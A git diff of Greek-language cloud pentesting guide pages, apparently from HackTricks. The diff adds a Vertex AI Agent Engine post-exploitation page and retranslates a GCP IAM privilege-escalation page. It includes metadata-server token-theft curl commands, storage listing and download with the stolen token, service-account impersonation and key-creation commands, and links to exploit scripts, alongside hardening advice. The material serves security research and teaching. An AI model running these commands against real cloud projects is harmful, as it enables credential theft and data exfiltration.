diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md new file mode 100644 index 000000000..e85191dfc --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -0,0 +1,271 @@ +# GCP - Vertex AI Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Vertex AI Agent Engine / Reasoning Engine + +Αυτή η σελίδα επικεντρώνεται σε **Vertex AI Agent Engine / Reasoning Engine** workloads που εκτελούν attacker-controlled tools ή code μέσα σε ένα Google-managed runtime. + +Για γενική επισκόπηση του Vertex AI, δείτε: + +{{#ref}} +../gcp-services/gcp-vertex-ai-enum.md +{{#endref}} + +Για κλασικές Vertex AI privesc διαδρομές που χρησιμοποιούν custom jobs, models, και endpoints, δείτε: + +{{#ref}} +../gcp-privilege-escalation/gcp-vertex-ai-privesc.md +{{#endref}} + +### Why this service is special + +Το Agent Engine εισάγει ένα χρήσιμο αλλά επικίνδυνο μοτίβο: **developer-supplied code running inside a managed Google runtime with a Google-managed identity**. + +Τα ενδιαφέροντα όρια εμπιστοσύνης είναι: + +- **Consumer project**: το project σας και τα δεδομένα σας. +- **Producer project**: Google-managed project που λειτουργεί το backend service. +- **Tenant project**: Google-managed project αφιερωμένο στη deployed agent instance. + +Σύμφωνα με την τεκμηρίωση IAM του Vertex AI της Google, οι πόροι του Vertex AI μπορούν να χρησιμοποιούν **Vertex AI service agents** ως resource identities, και αυτοί οι service agents μπορούν να έχουν **read-only access to all Cloud Storage resources and BigQuery data in the project** ως προεπιλογή. Αν ο code που τρέχει μέσα στο Agent Engine μπορεί να κλέψει τα runtime credentials, αυτή η προεπιλεγμένη πρόσβαση γίνεται άμεσα ενδιαφέρουσα. + +### Main abuse path + +1. Αναπτύξτε ή τροποποιήστε έναν agent ώστε attacker-controlled tool code να εκτελείται μέσα στο managed runtime. +2. Query the **metadata server** για να ανακτήσετε project identity, service account identity, OAuth scopes, και access tokens. +3. Επαναχρησιμοποιήστε το κλεμμένο token ως το **Vertex AI Reasoning Engine P4SA / service agent**. +4. Pivot into the **consumer project** και διαβάστε τα project-wide storage δεδομένα που επιτρέπονται από τον service agent. +5. Pivot into the **producer** και **tenant** environments που είναι προσβάσιμα από την ίδια identity. +6. Καταγράψτε internal Artifact Registry packages και εξάγετε tenant deployment artifacts όπως `Dockerfile.zip`, `requirements.txt`, και `code.pkl`. + +Αυτό δεν είναι απλώς ένα "run code in your own agent" ζήτημα. Το βασικό πρόβλημα είναι ο συνδυασμός των: + +- **metadata-accessible credentials** +- **broad default service-agent privileges** +- **wide OAuth scopes** +- **multi-project trust boundaries hidden behind one managed service** + +## Enumeration + +### Εντοπισμός πόρων του Agent Engine + +The resource name format used by Agent Engine is: +```text +projects//locations//reasoningEngines/ +``` +Αν έχετε ένα token με πρόσβαση στο Vertex AI, απαριθμήστε απευθείας το Reasoning Engine API: +```bash +PROJECT_ID= +LOCATION= + +curl -s \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines" +``` +Ελέγξτε τα deployment logs επειδή μπορούν leak **internal producer Artifact Registry paths** που χρησιμοποιούνται κατά το packaging ή το runtime startup: +```bash +gcloud logging read \ +'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \ +--project \ +--limit 50 \ +--format json +``` +Η έρευνα της Unit 42 παρατήρησε εσωτερικές διαδρομές όπως: +```text +us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine +us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod +``` +## Κλοπή credential από το metadata του runtime + +Αν μπορείτε να εκτελέσετε κώδικα μέσα στο agent runtime, πρώτα ερωτήστε το metadata service: +```bash +curl -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true' +``` +Ενδιαφέροντα πεδία περιλαμβάνουν: + +- αναγνωριστικά project +- ο συνδεδεμένος service account / service agent +- διαθέσιμα OAuth scopes για το runtime + +Στη συνέχεια ζήτησε ένα token για τη συνδεδεμένη ταυτότητα: +```bash +curl -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' +``` +Επικυρώστε το token και επιθεωρήστε τα χορηγημένα scopes: +```bash +TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)" + +curl -s \ +-H 'Content-Type: application/x-www-form-urlencoded' \ +-d "access_token=${TOKEN}" \ +https://www.googleapis.com/oauth2/v1/tokeninfo +``` +> [!WARNING] +> Google changed parts of the ADK deployment workflow after the research was reported, so exact old deployment snippets might no longer match the current SDK. The important primitive is still the same: **if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path**. + +## Pivot στο consumer project: κλοπή δεδομένων του service-agent + +Μόλις το runtime token κλαπεί, ελέγξτε την πραγματική πρόσβαση του service agent στο consumer project. + +Η τεκμηριωμένη επικίνδυνη προεπιλεγμένη δυνατότητα είναι η ευρεία **πρόσβαση ανάγνωσης στα δεδομένα του project**. Η έρευνα της Unit 42 επιβεβαίωσε συγκεκριμένα: + +- `storage.buckets.get` +- `storage.buckets.list` +- `storage.objects.get` +- `storage.objects.list` + +Πρακτική επαλήθευση με το κλεμμένο token: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b?project=" + +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b//o" + +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b//o/?alt=media" +``` +Αυτό μετατρέπει έναν compromised ή malicious agent σε **project-wide storage exfiltration primitive**. + +## Producer-project pivot: εσωτερική πρόσβαση στο Artifact Registry + +Η ίδια κλεμμένη ταυτότητα μπορεί επίσης να λειτουργήσει εναντίον των **Google-managed producer resources**. + +Ξεκινήστε δοκιμάζοντας τα internal repository URIs που ανακτήθηκαν από τα logs. Έπειτα, απαριθμήστε τα πακέτα με το Artifact Registry API: +```python +packages_request = artifactregistry_service.projects().locations().repositories().packages().list( +parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension" +) +packages_response = packages_request.execute() +packages = packages_response.get("packages", []) +``` +Αν έχεις μόνο ένα raw bearer token, κάλεσε απευθείας το REST API: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://artifactregistry.googleapis.com/v1/projects//locations//repositories/llm-extension/packages" +``` +Αυτό είναι πολύτιμο ακόμα κι αν η πρόσβαση εγγραφής είναι μπλοκαρισμένη επειδή αποκαλύπτει: + +- εσωτερικά ονόματα εικόνων +- απαρχαιωμένες εικόνες +- δομή αλυσίδας εφοδιασμού +- καταγραφή πακέτων/εκδόσεων για μετέπειτα έρευνα + +Για περισσότερα στοιχεία για το Artifact Registry ελέγξτε: + +{{#ref}} +../gcp-services/gcp-artifact-registry-enum.md +{{#endref}} + +## Tenant-project pivot: deployment artifact retrieval + +Οι αναπτύξεις του Reasoning Engine αφήνουν επίσης ενδιαφέροντα artifacts σε ένα **tenant project** που ελέγχεται από Google για την αντίστοιχη περίπτωση. + +Η έρευνα της Unit 42 βρήκε: + +- `Dockerfile.zip` +- `code.pkl` +- `requirements.txt` + +Χρησιμοποιήστε το κλεμμένο token για να εντοπίσετε τον προσβάσιμο αποθηκευτικό χώρο και να αναζητήσετε deployment artifacts: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b?project=" +``` +Τα artifacts από το tenant project μπορούν να αποκαλύψουν: + +- εσωτερικά ονόματα bucket +- εσωτερικές αναφορές image +- υποθέσεις συσκευασίας +- λίστες εξαρτήσεων +- σειριοποιημένος κώδικας agent + +Το blog παρατήρησε επίσης μια εσωτερική αναφορά όπως: +```text +gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip +``` +Ακόμη και όταν το αναφερόμενο restricted bucket δεν είναι αναγνώσιμο, αυτές οι leaked διαδρομές βοηθούν στο να χαρτογραφηθεί η εσωτερική υποδομή. + +## `code.pkl` και conditional RCE + +If the deployment pipeline stores executable agent state in **Python `pickle`** format, treat it as a high-risk target. + +Το άμεσο ζήτημα είναι η **εμπιστευτικότητα**: + +- offline deserialization μπορεί να αποκαλύψει τη δομή του κώδικα +- το package format leaks λεπτομέρειες υλοποίησης + +Το μεγαλύτερο ζήτημα είναι το **conditional RCE**: + +- εάν ένας attacker μπορεί να παραποιήσει το serialized artifact πριν από την service-side deserialization +- και το pipeline αργότερα φορτώνει αυτό το pickle +- arbitrary code execution καθίσταται δυνατή μέσα στο managed runtime + +Αυτό δεν είναι από μόνο του ένα standalone exploit. Είναι ένας **dangerous deserialization sink** που γίνεται κρίσιμος όταν συνδυαστεί με οποιοδήποτε artifact write ή supply-chain tampering primitive. + +## OAuth scopes and Workspace blast radius + +Η απάντηση metadata επίσης αποκαλύπτει τα **OAuth scopes** που είναι συνημμένα στο runtime. + +Αν αυτά τα scopes είναι ευρύτερα από τα ελάχιστα απαιτούμενα, ένα stolen token μπορεί να γίνει χρήσιμο εναντίον περισσότερων από τις GCP APIs. Το IAM εξακολουθεί να αποφασίζει αν η ταυτότητα είναι εξουσιοδοτημένη, αλλά τα ευρεία scopes αυξάνουν το blast radius και κάνουν τις μεταγενέστερες misconfigurations πιο επικίνδυνες. + +Εάν βρείτε scopes σχετικά με το Workspace, ελέγξτε αν η compromised identity έχει επίσης διαδρομή προς Workspace impersonation ή delegated access: + +{{#ref}} +../gcp-to-workspace-pivoting/README.md +{{#endref}} + +## Σκληροποίηση / ανίχνευση + +### Προτιμήστε ένα custom service account αντί της default managed identity + +Η τρέχουσα τεκμηρίωση του Agent Engine υποστηρίζει το να οριστεί ένα **custom service account** για τον αναπτυγμένο agent. Αυτός είναι ο πιο καθαρός τρόπος να μειωθεί το blast radius: + +- αφαιρέστε την εξάρτηση από το default broad service agent +- εκχωρήστε μόνο τα ελάχιστα permissions που απαιτούνται από τον agent +- κάντε την runtime identity ελέγξιμη (auditable) και με σκόπιμη περιορισμένη έκταση (intentionally scoped) + +### Επαληθεύστε την πραγματική πρόσβαση του service-agent + +Επιθεωρήστε την πραγματική (effective) πρόσβαση του Vertex AI service agent σε κάθε project όπου χρησιμοποιείται το Agent Engine: +```bash +gcloud projects get-iam-policy \ +--format json | jq ' +.bindings[] +| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re"))) +' +``` +Επικεντρωθείτε στο αν η συνδεδεμένη ταυτότητα μπορεί να διαβάσει: + +- all GCS buckets +- BigQuery datasets +- Artifact Registry repositories +- secrets or internal registries reachable from build/deployment workflows + +### Αντιμετωπίστε τον κώδικα του agent ως εκτέλεση με προνομιακά δικαιώματα + +Οποιοδήποτε εργαλείο/συνάρτηση που εκτελείται από τον agent πρέπει να εξετάζεται σαν να ήταν κώδικας που τρέχει σε VM με πρόσβαση σε metadata. Στην πράξη αυτό σημαίνει: + +- ελέγξτε τα εργαλεία του agent για άμεση HTTP πρόσβαση σε metadata endpoints +- εξετάστε τα logs για αναφορές σε internal `pkg.dev` repositories και tenant buckets +- ελέγξτε οποιαδήποτε packaging path που αποθηκεύει executable state ως `pickle` + +## Αναφορές + +- [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/) +- [Deploy an agent - Vertex AI Agent Engine](https://docs.cloud.google.com/agent-builder/agent-engine/deploy) +- [Vertex AI access control with IAM](https://docs.cloud.google.com/vertex-ai/docs/general/access-control) +- [Service accounts and service agents](https://docs.cloud.google.com/iam/docs/service-account-types#service-agents) +- [Authorization for Google Cloud APIs](https://docs.cloud.google.com/docs/authentication#authorization-gcp) +- [pickle - Python object serialization](https://docs.python.org/3/library/pickle.html) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md index d1106bb44..8f35f3063 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md @@ -12,16 +12,16 @@ ### `iam.roles.update` (`iam.roles.get`) -Ένας attacker με τα αναφερόμενα permissions θα είναι σε θέση να ενημερώσει ένα role που σας έχει ανατεθεί και να σας δώσει επιπλέον permissions σε άλλους πόρους όπως: +Ένας attacker με τις αναφερόμενες permissions θα μπορεί να ενημερώσει ένα role που σας έχει ανατεθεί και να σας δώσει επιπλέον permissions σε άλλους πόρους, όπως: ```bash gcloud iam roles update --project --add-permissions ``` -Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε τη **δημιουργία, exploit και τον καθαρισμό ενός vuln environment εδώ** και ένα python script για να καταχραστείτε αυτό το προνόμιο [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε τη **δημιουργία, exploit και καθαρισμό ενός vuln περιβάλλοντος εδώ** και ένα python script για να καταχραστείτε αυτό το προνόμιο [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ```bash gcloud iam roles update --project --add-permissions ``` ### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy` -Η iam.roles.create permission επιτρέπει τη δημιουργία προσαρμοσμένων ρόλων σε ένα έργο/οργάνωση. Στα χέρια ενός attacker, αυτό είναι επικίνδυνο επειδή του επιτρέπει να ορίσει νέα σύνολα permissions που μπορούν αργότερα να ανατεθούν σε οντότητες (για παράδειγμα, χρησιμοποιώντας το iam.serviceAccounts.setIamPolicy permission) με στόχο την κλιμάκωση προνομίων. +Η άδεια `iam.roles.create` επιτρέπει τη δημιουργία προσαρμοσμένων ρόλων σε ένα έργο/οργανισμό. Στα χέρια ενός επιτιθέμενου, αυτό είναι επικίνδυνο γιατί του επιτρέπει να ορίσει νέα σύνολα δικαιωμάτων τα οποία μπορούν στη συνέχεια να ανατεθούν σε οντότητες (για παράδειγμα, χρησιμοποιώντας την άδεια `iam.serviceAccounts.setIamPolicy`) με στόχο την κλιμάκωση προνομίων. ```bash gcloud iam roles create \ --project= \ @@ -31,32 +31,38 @@ gcloud iam roles create \ ``` ### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`) -Ένας attacker που διαθέτει τα αναφερόμενα permissions θα μπορεί να **request an access token that belongs to a Service Account**, επομένως είναι δυνατό να request an access token ενός Service Account με περισσότερα privileges από τα δικά μας. +Ένας attacker με τα αναφερθέντα permissions θα μπορεί να **request an access token that belongs to a Service Account**, επομένως είναι δυνατό να ζητήσει ένα access token ενός Service Account με περισσότερα privileges από το δικό μας. + +Για μια **resource-driven** παραλλαγή όπου attacker-controlled code κλέβει ένα **managed Vertex AI Agent Engine runtime token** από την metadata service και το επαναχρησιμοποιεί ως Vertex AI service agent, δείτε: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} ```bash gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \ auth print-access-token ``` -Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε τη [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) και ένα python script για να εκμεταλλευτείτε αυτό το προνόμιο [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε τη δημιουργία, την εκμετάλλευση και τον καθαρισμό ενός ευάλωτου περιβάλλοντος [**εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) και ένα python script για να εκμεταλλευτείτε αυτό το δικαίωμα [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Για περισσότερες πληροφορίες δείτε την [**πρωτότυπη έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccountKeys.create` -Ένας επιτιθέμενος με τις αναφερόμενες άδειες θα μπορεί να **create a user-managed key for a Service Account**, το οποίο θα μας επιτρέψει να αποκτήσουμε πρόσβαση στο GCP ως αυτό το Service Account. +Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **create a user-managed key for a Service Account**, το οποίο θα μας επιτρέψει να αποκτήσουμε πρόσβαση στο GCP ως αυτός ο Service Account. ```bash gcloud iam service-accounts keys create --iam-account /tmp/key.json gcloud auth activate-service-account --key-file=sa_cred.json ``` -Μπορείτε να βρείτε ένα script για να αυτοματοποιήσει τη [**δημιουργία, εκμετάλλευση και καθαρισμό ενός vuln περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) και ένα python script για να καταχραστείτε αυτό το προνόμιο [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Για περισσότερες πληροφορίες δείτε την [**αρχική έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Μπορείτε να βρείτε ένα script για την αυτοματοποίηση της [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) και ένα python script για να εκμεταλλευτείτε αυτό το προνόμιο [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). -Σημειώστε ότι **`iam.serviceAccountKeys.update` won't work to modify the key** ενός SA επειδή για να γίνει αυτό χρειάζεται επίσης η άδεια `iam.serviceAccountKeys.create`. +Σημειώστε ότι **`iam.serviceAccountKeys.update` δεν θα λειτουργήσει για να τροποποιήσει το κλειδί** ενός SA, επειδή για αυτό απαιτείται επίσης η άδεια `iam.serviceAccountKeys.create`. ### `iam.serviceAccounts.implicitDelegation` -Εάν έχετε την **`iam.serviceAccounts.implicitDelegation`** άδεια σε ένα Service Account που έχει την **`iam.serviceAccounts.getAccessToken`** άδεια σε τρίτο Service Account, τότε μπορείτε να χρησιμοποιήσετε το implicitDelegation για να **δημιουργήσετε ένα token για εκείνον τον τρίτο Service Account**. Εδώ είναι ένα διάγραμμα για να βοηθήσει στην εξήγηση. +Αν έχετε την **`iam.serviceAccounts.implicitDelegation`** άδεια σε ένα Service Account που έχει την **`iam.serviceAccounts.getAccessToken`** άδεια σε ένα τρίτο Service Account, τότε μπορείτε να χρησιμοποιήσετε implicitDelegation για να **δημιουργήσετε ένα token για αυτό το τρίτο Service Account**. Παρακάτω υπάρχει ένα διάγραμμα που βοηθά στην εξήγηση. ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png) -Σημειώστε ότι σύμφωνα με την [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), η ανάθεση του `gcloud` λειτουργεί μόνο για να δημιουργήσει ένα token χρησιμοποιώντας τη μέθοδο [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Οπότε εδώ δείχνεται πώς να αποκτήσετε ένα token χρησιμοποιώντας απευθείας το API: +Σημειώστε ότι σύμφωνα με την [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), η ανάθεση του `gcloud` λειτουργεί μόνο για να δημιουργήσει ένα token χρησιμοποιώντας τη μέθοδο [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Επομένως, παρακάτω δείχνεται πώς να αποκτήσετε ένα token χρησιμοποιώντας απευθείας το API: ```bash curl -X POST \ 'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \ @@ -67,23 +73,23 @@ curl -X POST \ "scope": ["https://www.googleapis.com/auth/cloud-platform"] }' ``` -You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε την [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) και ένα python script για να καταχραστείτε αυτό το προνόμιο [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signBlob` -Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **υπογράψει αυθαίρετα payloads στο GCP**. Έτσι θα είναι δυνατό να **δημιουργηθεί ένα unsigned JWT του SA και στη συνέχεια να σταλεί ως blob για να υπογραφεί το JWT** από το SA που στοχεύουμε. Για περισσότερες πληροφορίες [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). +Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **sign of arbitrary payloads in GCP**. Έτσι θα είναι δυνατό να **create an unsigned JWT of the SA and then send it as a blob to get the JWT signed** από το SA που στοχεύουμε. Για περισσότερες πληροφορίες [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). -You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε την [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) και ένα python script για να καταχραστείτε αυτό το προνόμιο [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) και [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signJwt` -Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **υπογράψει καλά σχηματισμένα JSON web tokens (JWTs)**. Η διαφορά με την προηγούμενη μέθοδο είναι ότι **αντί να κάνουμε την google να υπογράψει ένα blob που περιέχει ένα JWT, χρησιμοποιούμε τη μέθοδο signJWT που ήδη αναμένει ένα JWT**. Αυτό το κάνει πιο εύχρηστο αλλά μπορείτε να υπογράψετε μόνο JWT και όχι οποιαδήποτε bytes. +Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **sign well-formed JSON web tokens (JWTs)**. Η διαφορά με την προηγούμενη μέθοδο είναι ότι **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT**. Αυτό την καθιστά ευκολότερη στη χρήση, αλλά μπορείτε να υπογράψετε μόνο JWT αντί για οποιαδήποτε bytes. -You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε την [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) και ένα python script για να καταχραστείτε αυτό το προνόμιο [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.setIamPolicy` -Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **προσθέσει IAM policies σε service accounts**. Μπορείτε να το καταχραστείτε για να **χορηγήσετε στον εαυτό σας** τα permissions που χρειάζεστε για να impersonate το service account. Στο παρακάτω παράδειγμα χορηγούμε στον εαυτό μας το `roles/iam.serviceAccountTokenCreator` role πάνω στο ενδιαφέρον SA: +Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **add IAM policies to service accounts**. Μπορείτε να το καταχραστείτε για να **grant yourself** τα δικαιώματα που χρειάζεστε για να impersonate το service account. Στο παρακάτω παράδειγμα χορηγούμε στον εαυτό μας το ρόλο `roles/iam.serviceAccountTokenCreator` πάνω στο ενδιαφέρον SA: ```bash gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ --member="user:username@domain.com" \ @@ -94,45 +100,45 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i --member="user:username@domain.com" \ --role="roles/iam.serviceAccountUser" ``` -Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε τη [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** +You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** ### `iam.serviceAccounts.actAs` -Η **iam.serviceAccounts.actAs permission** είναι παρόμοια με την **iam:PassRole permission from AWS**. Είναι απαραίτητη για την εκτέλεση εργασιών, όπως την εκκίνηση ενός Compute Engine instance, καθώς παραχωρεί τη δυνατότητα να "actAs" ένα Service Account, εξασφαλίζοντας ασφαλή διαχείριση δικαιωμάτων. Χωρίς αυτήν, χρήστες μπορεί να αποκτήσουν αδικαιολόγητη πρόσβαση. Επιπλέον, η εκμετάλλευση του **iam.serviceAccounts.actAs** περιλαμβάνει διάφορες μεθόδους, καθεμία από τις οποίες απαιτεί ένα σύνολο permissions, σε αντίθεση με άλλες μεθόδους που χρειάζονται μόνο ένα. +Η **iam.serviceAccounts.actAs permission** είναι παρόμοια με την **iam:PassRole permission from AWS**. Είναι απαραίτητη για την εκτέλεση εργασιών, όπως την εκκίνηση ενός Compute Engine instance, καθώς δίνει τη δυνατότητα να "actAs" ένα Service Account, εξασφαλίζοντας ασφαλή διαχείριση δικαιωμάτων. Χωρίς αυτήν, χρήστες μπορεί να αποκτήσουν αδικαιολόγητη πρόσβαση. Επιπλέον, η εκμετάλλευση του **iam.serviceAccounts.actAs** περιλαμβάνει διάφορες μεθόδους, καθεμία από τις οποίες απαιτεί ένα σύνολο αδειών, σε αντίθεση με άλλες μεθόδους που χρειάζονται μόνο μία. -#### Προσποίηση service account +#### Πλαστοπροσωπία service account -Η προσποίηση ενός service account μπορεί να είναι πολύ χρήσιμη για να **αποκτήσετε νέα και καλύτερα προνόμια**. Υπάρχουν τρεις τρόποι με τους οποίους μπορείτε να [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): +Η impersonation ενός service account μπορεί να είναι πολύ χρήσιμη για την απόκτηση νέων και καλύτερων προνομίων. 